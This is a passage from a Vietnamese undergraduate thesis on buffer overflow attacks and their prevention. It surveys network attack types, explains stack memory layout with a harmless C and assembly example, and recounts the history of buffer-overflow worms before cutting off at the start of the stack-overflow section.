trên mạng công cộng như thiết bị định tuyến, Web service, Mail server, .... Các kỹ

thuật thường dùng để gây ra các tấn công từ chối dịch vụ truyền thống là SYN Flood,

Ping-of-Death và Buffer-overflow.

+ SYN Flood: Tấn công kiểu SYN flood lợi dụng cách thức hoạt động của việc

thiết lập kết nối TCP/IP, kẻ tấn công bắt đầu quá trình thiết lập một kết nối TCP/IP tới

máy mục tiêu (máy tính đích) muốn tấn công bằng gói tin yêu cầu thiết lập kết nối

SYN với địa chỉ IP nguồn giả mạo, hoặc địa chỉ không có thực. Máy tính đích gửi gói

Page 15: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 15

tin SYN ACK yêu cầu xác nhận kết nối, nhưng không thể đi đến đích do địa chỉ IP

nguồn là không có thực. Máy tính đích phải duy trì yêu cầu kết nối cho đến khi nhận

được SYN ACK hoặc hết thời hạn kết nối. Kiểu tấn công SYN flood cũngcó thể được

các kẻ tấn công áp dụng để tấn công một hệ thống mạng có băng thông lớn với một số

lượng lớn gói tin yêu cầu thiết lập kết nối.

+ Ping-of-Death: Tấn công kiểu Ping-of-Death sử dụng giao thức ICMP. Một

lệnh ping thông thường sẽ có hai thông điệp là echo request và echo reply. Khi tấn

công bằng Ping-of-Death kẻ tấn công sẽ gửi một gói tin echo request có kích thước lớn

hơn 65,536 bytes. Các gói tin này sẽ được chia nhỏ thành các segment nhỏ hơn để gửi

đi trên đường truyền, nhưng khi máy đích nhận được các gói tin này và ráp chúng lại

thì gói tin lại quá lớn so với bộ đệm của máy. Kết quả là hệ thống không thể kiểm soát

được sự bất thường, dẫn đến tình trạng khởi động lại hoặc bị treo.

+ Buffer-over-flow: Hoạt động bằng cách lợi dụng lỗ hổng tràn bộ đệm trên hệ

thống nạn nhân, từ đó kẻ tấn công gửi đi các gói tin gây tràn bộ đệm khiến cho chương

trình trên hệ thống bị tấn công ngừng hoạt động.

+ Tấn công từ chối dịch vụ phân tán (Distributed DoS- DDos): Phương thức tấn

công DDoS dựa trên nguyên tắc của DoS nhưng có mức độ nguy hiểm cao hơn do kẻ

tấn công có thể huy động cùng lúc rất nhiều máy tính bị điều khiển tham gia.

1.3.2.4. Tấn công giả mạo địa chỉ IP (IP Spoofing)

Tấn công giả mạo địa chỉ IP là dạng tấn công trong đó kẻ tấn công sử dụng địa

chỉ IP giả, thường để đánh lừa máy nạn nhân để vượt qua hàng rào kiểm soát an ninh.

Dạng tấn công này có thể được sử dụng trong trường hợp kẻ tấn công giả IP thành địa

chỉ cục bộ của mạng LAN, từ đó có thể tấn công vào các máy khác trong mạng LAN

do thường chính sách an ninh giữa các máy trong LAN với nhau sẽ giảm nhẹ.

1.3.2.5. Tấn công nghe trộm

Tấn công nghe trộm là dạng tấn công không được thực hiện trực diện vào các

máy người dùng (client) hay máy chủ (server) mà nó thường nhằm vào phương tiện

truyền dữ liệu giữa các máy. Kẻ tấn công có thể sử dụng thiết bị phần cứng hoặc phần

mềm, lắng nghe trên một thành phần của hệ thống mạng như: Card mạng, Hub, Router

… để chặn bắt các gói tin di chuyển qua. Từ đó sử dụng các kỹ thuật phân tích các gói

tin thu được nhằm lấy cắp thông tin tài khoản, đánh cắp nội dung email hoặc các file

được truyền qua mạng (file đính kèm trong email, hoặc truyền qua các giao thức SMB,

FTP).

1.3.2.6. Tấn công kiểu người đứng giữa (Man in the middle)

Tấn công kiểu người đứng giữa lợi dụng quá trình lưu chuyển gói tin đi qua nhiều

trạm trên nhiều mạng khác nhau. Kẻ tấn công khi đó sẽ chặn bắt các thông điệp trao

đổi giữa hai bên tham gia giao tiếp, sau đó chuyển tiếp lại cho bên kia sau khi thông

điệp có thể đã được xử lý. Nạn nhân của kiểu tấn công người đứng giữa không hay biết

Page 16: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 16

về việc xen giữa này mà vẫn cứ tin tưởng rằng họ đang giao tiếp trực tiếp với nạn nhân

bên kia.

1.3.2.7. Tấn công bằng bom thư

Tấn công bằng bom thư (Mail bombing) cũng là một dạng tấn công DoS khi kẻ

tấn công chuyển một lưu lượng lớn email đến hòm thư điện tử của nạn nhân. Phương

pháp này thường thực hiện được nhờ khai thác lỗi trong hệ thống gửi nhận mail SMTP

hoặc do các máy chủ mail cấu hình không tốt.

1.3.2.8. Tấn công sử dụng cửa hậu (Back doors hoặc Trap doors):

Kẻ tấn công bằng một cách nào đó cài một cửa hậuvào máy tính của nạn nhân,

thường là hậu quả của hacker để lại sau khi tấn công vào hệ thống. Sau đó sử dụng

chính backdoor để quay lại can thiệp khai thác thêm thông tin và sử dụng cho nhiều

mục đích.

1.3.2.9. Tấn công kiểu Social Engineering

Tấn công kiểu Social Engineering là kiểu tấn công sử dụng các kỹ thuật xã hội

nhằm thuyết phục người dùng cung cấp các thông tin truy nhập hoặc các thông tin có

giá trị đối với kẻ tấn công. Kẻ tấn công có thể một số phương pháp sau:

- Kẻ tấn công giả dạng là người ở chức vụ cao hơn so với nạn nhân để có được sự

tin tưởng để nạn nhân cung cấp thông tin.

- Kẻ tấn công mạo nhận là người được ủy quyền của người có thẩm quyền để yêu

cầu nạn nhân tiếp lộ thông tin.

- Kẻ tấn công lập ra các trang web giả nhằm đánh lừa người dùng cung cấp các

thông tin như tài khoản, thẻ tín dụng, …

1.4. Mô tả bài toán

Đề tài của đồ án "Nghiên cứu về tấn công lỗi tràn bộ đệm trong phần mềm và

phòng chống" được thực hiện với các nội dung chính như sau:

Nghiên cứu về các dạng lỗi tràn bộ đệm và cơ chế xảy ra lỗi tràn bộ đệm;

Nghiên cứu các kỹ thuật tấn công lợi dụng lỗi tràn bộ đệm;

Đề xuất các biện pháp phòng chống giảm thiểu khả năng bị tấn công lợi dụng

lỗi tràn bộ đệm;

Xây dựng một số kịch bản và cài đặt demo tấn công lợi dụng lỗi tràn bộ đệm.

Page 17: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 17

1.5. Kết chương

Chương 1 giới thiệu tổng quan về an toàn bảo mật hệ thống thông tin, các mối đe

dọa, các dạng lỗ hổng an ninh và một số dạng tấn công thông dụng vào hệ thống thông

tin. Đảm bảo an toàn thông tin và hệ thống thông tin là phải đảm bảo được 3 thuộc tính

cốt yếu, gồm tính bí mật, tính toàn vẹn và tính sẵn dùng. Các dạng tấn công độc hại có

thể vi phạm một, một số hoặc tất cả các thuộc tính trên. Nhiều cuộc tấn công có thể

thực hiện thành công nhờ khai thác các lỗ hổng an ninh tồn tại trong hệ thống. Một

trong các dạng lỗ hổng an ninh thường hay xảy ra và bị lợi dụng nhiều nhất là lỗ hổng

tràn bộ nhớ đệm. Chương 2 sẽ phân tích chi tiết cơ chế xảy ra lỗi tràn bộ đệm và các

kỹ thuật tấn công lợi dụng lỗ hổng này.

Page 18: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 18

CHƯƠNG 2: CƠ CHẾ TẤN CÔNG LỖI TRÀN BỘ ĐỆM

VÀ CÁC PHƯƠNG PHÁP PHÒNG CHỐNG

Chương 2 trình bày phương pháp tổ chức và cấp phát bộ nhớ ảo cho chương

trình, cơ chế gây tràn bộ đệm, tấn công lợi dụng lỗ hổng tràn bộ đệm trên Stack và

phương pháp tạo mã thực hiện Shellcode. Phần cuối chương đề cập một số các phương

pháp phòng chống tấn công bộ nhớ đệm hiệu quả nhằm giúp xây dựng nên các hệ

thống an toàn.

2.1. Giới thiệu về mô hình bộ nhớ ảo trong các hệ điều hành

2.1.1. Các khái niệm

2.1.1.1. Buffer

Buffer hay bộ đệm là một khối dành riêng của bộ nhớ máy tính, cho phép chứa

nhiều các phần tử của cùng kiểu dữ liệu. Với ngôn ngữ lập trình C, Buffer thường

được tổ chức dưới dạng là mảng của các từ nhớ.

2.1.1.2. Stack

Stack hay ngăn xếp là một kiểu dữ liệu trừu tượng dùng trong khoa học máy tính.

Một Stack của các đối tượng (Object) có tính chất: Đối tượng được đưa vào Stack cuối

cùng sẽ được lấy ra đầu tiên (LIFO – Last In First Out). Stack hỗ trợ 2 thao tác quan

trọng nhất là PUSH và POP để thực hiện việc thêm một đối tượng vào Stack và loại bỏ

1 đối tượng khỏi Stack.

Trong lập trình cấu trúc, các chương trình được chia ra thành các mô đun nhỏ,

được gọi là các chương trình con, hay thủ tục hoặc hàm. Các chương trình con có thể

được gọi thực hiện bởi chương trình chính, hoặc có thể gọi lẫn nhau. Mỗi chương trình

con được gọi thực hiện sẽ làm thay đổi luồng điều khiển của chương trình, tương tự

như lệnh nhảy (JUMP). Nhưng không giống như JUMP, khi kết thúc việc thực hiện

một chương trình con, nó sẽ trả điều khiển về cho chương trình gọi. Stack được sử

dụng để lưu các tham số cho việc gọi thực hiện và trở về từ các chương trình con [2].

Stack cũng được dùng để tự động gán địa chỉ cho: các biến địa phương (Local

variables), các tham số truyền vào (Parameters) và các kết quả trả về của chương trình

con.

2.1.1.3. Thanh ghi

Thanh ghi là các ô nhớ có dung lượng nhỏ nằm trong nhân CPU có tốc độ truy

cập cao, được sử dụng để tăng tốc độ xử lý các lệnh của chương trình trên máy tính

bằng cách cung cấp các truy cập trực tiếp đến các giá trị cần sử dụng. Hầu hết các máy

tính hiện đại hoạt động theo nguyên lý là chuyển dữ liệu từ bộ nhớ sang các thanh ghi,

Page 19: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 19

sau đó việc tính toán sẽ được thực hiện trên các thanh ghi này rồi kết quả được chuyển

lại về bộ nhớ [19].

Một số thanh ghi được sử dụng trong đồ án:

- EIP (Extended Instruction Pointer): Thanh ghi con trỏ lệnh, dùng để chứa địa

chỉ của lệnh tiếp theo cần thực hiện.

- ESP (Extended Stack Pointer): Thanh ghi con trỏ Stack, dùng để chứa địa chỉ

của đỉnh ngăn xếp (Stack).

- EBP (Extended Base Pointer): Thanh ghi con trỏ cơ sở Stack, dùng để chứa địa

chỉ đến một Stack Frame trong Stack.

2.1.2. Phương thức tổ chức bộ nhớ trong máy tính

Bộ nhớ ảo là một phương thức tổ chức quản lý hệ thống nhớ, trong đó bộ nhớ

được hệ điều hành tổ chức thành các vùng nhớ với các chức năng riêng biệt tạo thuận

lợi cho việc tổ chức lưu trữ và xử lý. Thông thường, bộ nhớ ảo tổ chức thành ba vùng:

Text region, Data region và Stack region. Tương ứng với mỗi vùng khi các tiến trình

được thực thi, các dữ liệu liên quan đến một tiến trình sẽ được tải vào các vùng tương

ứng. Sơ đồ tổng quan cấu trúc tổ chức bộ nhớ ảo trong máy tính được thể hiện như

Hình 1.

Hình 1: Tổ chức bộ nhớ ảo [16].

Page 20: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 20

Trong phần tiếp theo, đồ án chủ yếu tập trung vào Stack region nhằm phục vụ

cho mục đích tiếp theo đó là nghiên cứu lỗ hổng tràn bộ đệm trên Stack.

2.1.2.1. Text region (Code segment)

Vùng dữ liệu này được cố định bởi chương trình, chứa các mã lệnh (Instruction)

và dữ liệu chỉ đọc (Read-only Data) của chương trình. Text region phản hồi tới Text

region của file thực thi (Executable file).

Text region thường được tạo là chỉ đọc (Read-only) hoặc sẽ hoạt động ở chế độ

tự bảo vệ thay đổi (Self-modifying mode). Mọi nỗ lực nhằm thay đổi nội dung dữ liệu

trong vùng này đều được coi là vi phạm [10].

2.1.2.2. Data region (Data segment)

Data region = Data + BSS + Heap [11].

- Data: chứa các biến toàn cục (Global Variable) và các biến tĩnh đã được khởi

tạo (Static Variable) được khai báo bởi người lập trình.

- BSS: chứa các biến chưa được khởi tạo hoặc khởi tạo không rõ ràng, phản hồi

tới khu vực Data-BSS của file thực thi được (Executable file). Dữ liệu trong Data

region có thể đọc/ghi (Read-write).

- Heap: Địa chỉ bắt đầu ngay sau kết thúc của BSS và có thể phát triển kích

thước tăng dần trong quá trình thực thi. Việc cấp phát và thu dọn bộ nhớ trong Heap

được thực hiện qua các lời gọi malloc(), realloc()vàfree(). Lời gọi hệ thống

brk() và sbrk() được dùng để điều chỉnh kích cỡ (resize) của Heap. Vùng Heap

được chia sẻ bởi tất cả các thư viện chia sẻ và các module nạp động trong tiến trình.

Kích thước của Data region không cố định mà có thể thay đổi được bởi lời gọi hệ

thống BRK/SBRK (thay đổi kích cỡ của Heap), được xác định bằng các giá trị đặt

trong nó trước khi chương trình được biên dịch. Trong thời gian chạy (run-time), kích

cỡ của vùng này không thay đổi.

Nếu kích cỡ của Data-BBS lớn hoặc do ngăn xếp (Stack) sử dụng hết bộ nhớ sẵn

có, chương trình hoặc tiến trình sẽ bị khoá và được lập lịch lại để chạy với dung lượng

bộ nhớ lớn hơn. Phần bộ nhớ cần lấy thêm sẽ được lấy ở vùng nhớ nằm giữa Data

region và Stack region [11].

Kích thước của Data region tăng theo chiều tăng của địa chỉ bộ nhớ ảo.

2.1.2.3. Stack region

Stack có một thanh ghi (ESP) gọi là con trỏ Stack (Stack pointer) luôn trỏ tới

đỉnh của Stack. Đáy của Stack là một địa chỉ cố định. Kích cỡ của Stack được điều

chỉnh động bởi nhân của hệ điều hành (Kernel) trong thời gian thực thi (Run-time).

CPU thực hiện các lệnh PUSH và POP với Stack.

Page 21: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 21

Stack gồm các khung, gọi là Stack Frame. Các Stack Frame được thêm vào khi

gọi một hàm (function) và được loại bỏ ra khỏi Stack khi trở về từ hàm. Một Stack

Frame gồm: các tham số của hàm, các biến địa phương của hàm đó, và các dữ liệu cần

thiết để khôi phục khung Stack trước để quay về hàm gọi (Previous Stack Frame) – Dữ

liệu này gồm: Giá trị của con trỏ lệnh vào thời điểm hàm được gọi (SavedEIP) và địa

chỉ đầu tiên của Stack Frame (Frame Pointer) của hàm trước đó (SavedEBP).

Tuỳ thuộc vào bộ vi xử lý (VXL) mà Stack sẽ đánh địa chỉ tăng hoặc giảm. Cách

đánh địa chỉ giảm dần được nhiều VXL sử dụng, như trong các VXL Intel, Motorola,

SPARC và MIPS. Đối với Stack Pointer do luôn trỏ vào đỉnh của Stack với địa chỉ

thấp nhất, nên để tiện lợi hơn cho việc truy xuất tới các biến, các đối số của hàm sẽ có

một con trỏ khung FP (Frame Pointer) sẽ luôn trỏ tới một địa chỉ cố định trong một

khung (Thường là địa chỉ bắt đầu của Stack Frame) – một số nơi gọi là LP (Local base

Pointer) [2].

Stack Pointer có thể trỏ vào địa chỉ cuối của Stack hoặc trỏ vào địa chỉ còn trống

kế tiếp của Stack phụ thuộc vào thiết kế của VXL. Giá trị của biến SP được lưu trong

thanh ghi ESP.

Theo nguyên tắc, biến địa phương có thể được tham chiếu bằng việc tính hiệu số

(offsets) từ SP. Tuy nhiên, với những từ nhớ được đưa vào hoặc lấy ra khỏi Stack,

những offsets này bị thay đổi. Mặc dù trong một số trường hợp trình biên dịch có thể

theo dõi thứ tự của những từ trong Stack và sửa những offsets, tuy nhiên một số trường

hợp thì lại không như vậy.

Trong một số VXL, như VXL Intel, việc truy cập vào một biến bằng việc biết

khoảng cách từ SP yêu cầu nhiều lệnh (Multiple Instructions). Do đó, nhiều trình biên

dịch sử dụng một thanh ghi phụ là Frame Pointer, để tham chiếu cả các biến địa

phương và các đối số, bởi vì khoảng cách của chúng tới Frame Pointer không thay đổi

với các lệnh PUSH và POP. Trong các VXL Intel, thanh ghi EBP được dùng cho mục

đích này, còn trong các VXL của Motorola thì bất kỳ thanh ghi địa chỉ nào ngoài A7

(Stack Pointer) sẽ làm việc này. Bởi theo cách mà Stack tăng kích cỡ, thực tế các đối

số (Parameters) có độ lệch dương với FP, và các biến địa phương sẽ có độ lệch âm so

với FP [2].

Đơn vị lưu trữ cơ bản trên Stack là word, có giá trị bằng 32 bit (4 byte) trên các

VXL Intel x86. Mọi giá trị biến được cấp phát trên Stack đều bằng bội số của word.

Thao tác trên Stack được thực hiện bởi 2 lệnh máy:

- push value: Đưa giá trị value vào đỉnh của Stack. Giảm giá trị của %esp đi 1

word và đặt giá trị value vào đó.

- pop dest: Lấy giá trị từ đỉnh của Stack đưa vào dest. Đặt giá trị trỏ bởi %esp

vào dest và tăng giá trị của %esp lên 1 word.

Page 22: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 22

2.1.3. Quy trình cấp phát bộ nhớ

- Việc đầu tiên một thủ tục phải làm khi được gọi, đó là lưu Frame Pointer trước

(Để có thể khôi phục lại Stack Frame của thủ tục mẹ khi thủ tục này kết thúc). Sau đó

nó copy Stack Pointer vào Frame Pointer để tạo một Frame Pointer mới, và tăng Stack

Pointer để tạo khoảng trống lưu trữ các biến địa phương - mã lệnh này gọi là thủ tục

PROLOG.

- Sau khi thủ tục kết thúc, Stack phải được dọn dẹp lại, thủ tục này gọi là

EPILOG.

- PROLOG và EPILOG trong VXL Intel là lệnh ENTER và LEAVE, còn với

Motorola là LINK và UNLINK, được cung cấp để làm hầu hết công việc của thủ tục

PROLOG và EPILOG hiệu quả [2]. Quy trình cấp phát bộ nhớ ảo cho chương trình

đựơc thể hiện thông qua trong Ví dụ 1.

Ví dụ 1: chương trình exampleCode1.c [2]

Language c code

void function(int a, int b){

char buffer1[5];

char buffer2[10];

}

void main() {

function(5, 10);

}

Assembly code

(gdb) disas function

push %ebp

mov %esp,%ebp

sub $0x10,%esp

leave

ret

(gdb) disas main

push %ebp

mov %esp,%ebp

sub $0x8,%esp

movl $0xa,0x4(%esp)

movl $0x5,(%esp)

call 0x80483b4 <function>

leave

ret

Hoạt động của bộ nhớ trong quá trình thực thi chương trình ở Ví dụ 1 như sau:

Bước 1: Khi hệ thống chuyển quyền điều khiển cho chương trình, nó sẽ lưu lại

địa chỉ trả về (SavedEIP) như sau:

push %ebp

mov %esp,%ebp

Page 23: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 23

Bước 2: Khi gọi hàm function(int a, int b) với 2 đối số thì các bước chuẩn

bị để gọi hàm như sau:

- Đẩy các đối số của hàm vào Stack:

sub $0x8,%esp

movl $0xa,0x4(%esp)

movl $0x5,(%esp)

- Gọi hàm: Câu lệnh tiếp theo của hàm được gọi được đẩy vào Stack và hệ thống

trao quyền điều khiển cho hàm

call 0x80483b4 <function>

Bước 3: Quá trình thực thi hàm function():

- Đầu tiên giá trị trong thanh ghi EBP (lúc này thanh ghi EBP đang lưu địa chỉ

EBP của hàm main() ) được đưa vào Stack, lúc này ESP trỏ đến địa chỉ của EBP cũ.

Sau đó chương trình cấp phát vùng nhớ cho các biến cục bộ của hàm (buffer1 là 8bit

và buffer2 là 12bit) bằng cách giảm địa chỉ của ESP:

push %ebp

mov %esp,%ebp

sub $0x10,%esp

Bước 4: Kết thúc hàm:

Sau khi hàm được thực thi, việc thoát khỏi một hàm được thực hiện trong hai

bước. Trước tiên môi trường tạo ra cho hàm thực thi cần được dọn dẹp (khôi phục giá

trị cho %ebp và %eip). Sau đó kiểm tra Stack để lấy các thông tin liên quan đến hàm

vừa thoát ra.

leave

ret

Khi kết thúc EBP đang trỏ đến ô nhớ chứa giá trị EBP cũ. ESP sẽ được gán bằng

EBP. Như vậy ESP đang trỏ đến ô nhớ chứa giá trị EBP cũ.

Tiếp theo, lệnh POP sẽ lấy giá trị của EBP cũ vào EBP, ESP trỏ đến ô nhớ chứa

địa chỉ trở về.

Lệnh RET sẽ lấy địa chỉ lệnh trở về (SavedEIP) vào thanh ghi EIP và quyền điều

khiển chương trình được chuyển giao cho hàm main(), ESP trỏ đến ô nhớ chứa tham

số đầu tiên của hàm function(). Do đó, trong Stack Frame của hàm function(int

a,int b) sẽ gồm các dữ liệu: Các đối số truyền cho hàm, địa chỉ lệnh trở về để thực

thi sau khi kết thúc hàm (RET/SavedEIP), địa chỉ con trỏ nền Base Pointer của hàm trở

về (SavedEBP) và các tham số khai báo bên trong hàm. Các dữ liệu này được tổ chức

như trong Hình 2.

Page 24: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 24

b($10) [4 byte] FP (EBP register)

a($5) [4 byte]

ret(main)(SavedEIP) [4 byte]

sfp(main)(SavedEBP) [4 byte]

buffer1 [5 byte]

buffer2 [10 byte]

SP (ESP register)

Void function(int a, int b){

char buffer1[5];

char buffer2[10];

}

void main() {

function(5, 10);

}

IP (EIP register)

Hình 2: Dữ liệu trong Stack Frame của hàm function(int a, int b)

2.2. Lỗi tràn bộ đệm và các kỹ thuật tấn công

2.2.1. Lịch sử các kỹ thuật tấn công khai thác lỗi tràn bộ đệm

Lỗi tràn bộ đệm lần đầu tiên được quan tâm đặc biệt vào ngày 02/11/1988, khi

Robert Tappan Morris – đang học tại đại học Cornell viết thí nghiệm một chương trình

có thể tự động “tiêm” bản thân vào Internet. Chương trình của Robert (Morris Worm)

đã tự lây lan tới khoảng 6.000 máy tính chạy HĐH Unix qua mạng Internet [3][9]. Về

bản chất chương trình của Robert đã lợi dụng lỗi tràn bộ đệm trong Deamon Fingerd

của Unix (Giao thức mạng cho việc trao đổi trạng thái và thông tin người dùng trong

HĐH Unix, được viết bởi David Zimmerman nhằm phục vụ nhu cầu lấy thông tin của

người sử dụng khác trong mạng). Sau đó, hàng loạt lỗ hổng tràn bộ đệm nghiêm trọng

trong các thành phần của HĐH được phát hiện như: Syslog, Sendmail 8.7.5,

Linux/FreeBSD mount, Xt Library, …. [18].

Sự kiện thứ hai đánh dấu sự phổ biến kiến thức về lỗi tràn bộ đệm là sự xuất hiện

của bài viết “Smashing stack for fun and profit” của Aleph One (Bí danh) vào năm

1996 trong tạp chí Prack. Cho đến bây giờ bài viết này vẫn là một trong những bài viết

kinh điển và cơ bản cho các loại khai thác lỗi tràn bộ đệm.

Page 25: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 25

Từ lần đầu bị khai thác cho đến nay lỗ hổng tràn bộ đệm luôn chiếm tỷ lệ lớn

nhất trong các loại lỗi gây lỗ hổng bảo mật cũng như chiếm tỷ lệ lớn các lỗi gây lỗ

hổng bảo mật nghiệm trọng [18].

Những lỗ hổng tràn bộ đệm nghiêm trọng về cả tính chất bảo mật cũng như hậu

quả để lại tiếp theo có thể kể đến:

- Sâu Morris (Great worms): Được mệnh danh “Sâu/virus tồi tệ nhất lịch sử

Internet” vì kiểu tàn phá nhằm vào máy chủ. Xuất hiện ngày 02/11/1998, khai thác lỗi

tràn bộ đệm trong deamon fingerd của HĐH Unix lây lan và làm hơn 6.000 máy chủ

trên khắp nước Mỹ gần như quá tải. Thiệt hại ước tính khoảng 100 triệu USD [14].

- Sâu Code-Red: xuất hiện tháng 07/2001 khai thác lỗi tràn bộ đệm trong dịch vụ

đánh chỉ số (Indexing service) của Microsoft IIS Server. Từ đó gây lỗi từ chối dịch vụ

cho các máy chủ IIS 4.0/5.0 đã cài đặt Indexing service, các Router DSL Cisco

Unpatched 600-series, và cả những hệ thống không chạy IIS mà chạy HTTP server

lắng nghe TCP cổng 80. Từ lúc xuất hiện đến lúc dừng hoạt động 28 ngày (1/07/2001

– 28/07/2001) sâu Code-Red ước tính đã lây lan khoảng 359.000 host (Bao gồm cả

máy tính và router) [8].

- Sâu Nimda: Xuất hiện khoảng 18/09/2001 khai thác lỗ hổng trong email, một

vài kẽ hở khác của hệ điều hành, lỗ hổng của IIS Server 4.0/5.0 khác và cửa hậu(back-

doors) do Code-Red để lại, gây thiệt hại cho các máy tính Client sử dụng windows 95,

98, ME, NT, 2000, XP và Server chạy windows NT và 2000. Trong tuần đầu tiên xuất

hiện, tổn thất ước tính của sâu Nimda đã đạt con số khoảng 530 triệu USD [9].

- Sâu W32/Blaster: Xuất hiện tháng 08/2003, lợi dụng lỗ hổng tràn bộ đệm trong

Microsoft Remote Procedure Call (RPC) interface trên máy tính trong mạng nội bộ

hoặc kết nối trực tiếp ra Internetchạy các HĐH windows NT 4.0, 2000, XP, server

2003. Trong vòng 1 tuần, sâu Blaster nhiễm ở hơn 420.000 máy tính trên thế giới, thiệt

hại ước tính 320 triệu USD [7].

Ngoài ra, còn một số sâu máy tính nổi tiếng sau đó như: SQL Slammer worm

(xuất hiện năm 2004 dựa vào lỗi tràn bộ đệm trên MS SQL server), Sasser worm (xuất

hiện năm 2004 lợi dụng lỗi tràn bộ đệm trong LSASS của HĐH windows), Configker

worm (xuất hiện năm 2009 dựa vào lỗi tràn bộ đệm RPC trên HĐH windows).

2.2.2. Tổng quan về tấn công dựa trên lỗi tràn bộ đệm

2.2.2.1. Tràn bộ đệm:

Mỗi tiến trình được thực thi trên hệ điều hành sẽ được cấp phát một vùng nhớ ảo,

chứa toàn bộ các thông tin cần thiết để tiến trình có thể thực thi ổn định và an toàn. Bộ

đệm được cấp phát cho chương trình có thể được đặt ở:

- Bộ đệm trên Stack

- Bộ đệm trên Heap

Page 26: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 26

- Bộ đệm trên vùng dữ liệu tĩnh (Static Data Area).

Vì bản chất tổ chức của vùng nhớ ảo này, nếu bộ đệm cố định dành cho tham số

của một hàm chức năng trong chương trình bị ghi dữ liệu vượt qua ngoài biên (tràn),

thì phần dữ liệu bị tràn sẽ có thể ghi đè lên các vùng nhớ chức năng liền kề quan trọng

khác, làm cho hoạt động của chương trình bị ảnh hưởng hoặc kết thúc không như

mong muốn.

2.2.2.2. Tấn công dựa trên tràn bộ đệm:

Tấn công dựa trên lỗi tràn bộ đệm sẽ lợi dụng cơ chế tràn bộ đệm khi mà phần

mềm hoặc hệ điều hành không có cơ chế bảo vệ bộ đệm, để phá hoại chương trình

hoặc kích hoạt các dữ liệu được thiết kế đặc biệt (các mã lệnh, địa chỉ lệnh, … ), từ đó

làm ngắt sự hoạt động bình thường của chương trình, hoặc điều khiển chương trình

thực thi các đoạn mã của kẻ tấn công. Trong nhiều trường hợp chương trình hoặc mã

độc của kẻ tấn công còn có thể thực thi dưới đặc quyền ROOT (ADMIN) dẫn đến các

hậu quả nghiêm trọng nhất cho hệ thống. Vì vậy các lỗi tràn bộ đệm tạo lỗ hổng cho

các thủ thuật khai thác phần mềm, gây ra các nguy cơ bảo mật phần mềm.

Thông thường, kẻ tấn công sẽ có hai cách để khai thác lỗi tràn bộ đệm:

- Khai thác lỗ hổng của phần mềm thông qua các dữ liệu đầu vào của phần mềm.

Dữ liệu đầu vào này có thể là một chuỗi, một tập tin, hoặc một số gói tin mạng, ….

- Khai thác các trang web có tương tác người dùng tại các trường nhập liệu, dữ

liệu upload, ….

Bộ nhớ đệm có ba phần có thể bị rơi vào tình trạng Overflow đó là bộ nhớ đệm

trên Heap, bộ nhớ đệm trên Stack và bộ đệm trên vùng dữ liệu tĩnh (Static Data Area),

và đây cũng là các mục tiêu khai thác lỗi tràn bộ đệm.Sau đây sẽ giới thiệu và đi sâu

phân tích việc khai thác lỗ hổng tràn bộ đệm trên Stack.

2.2.3. Cơ chế tràn bộ đệm trên Stack

Vùng bộ nhớ ảo Stack chứa các đối số của hàm, địa chỉ lệnh trả về, địa chỉ stack

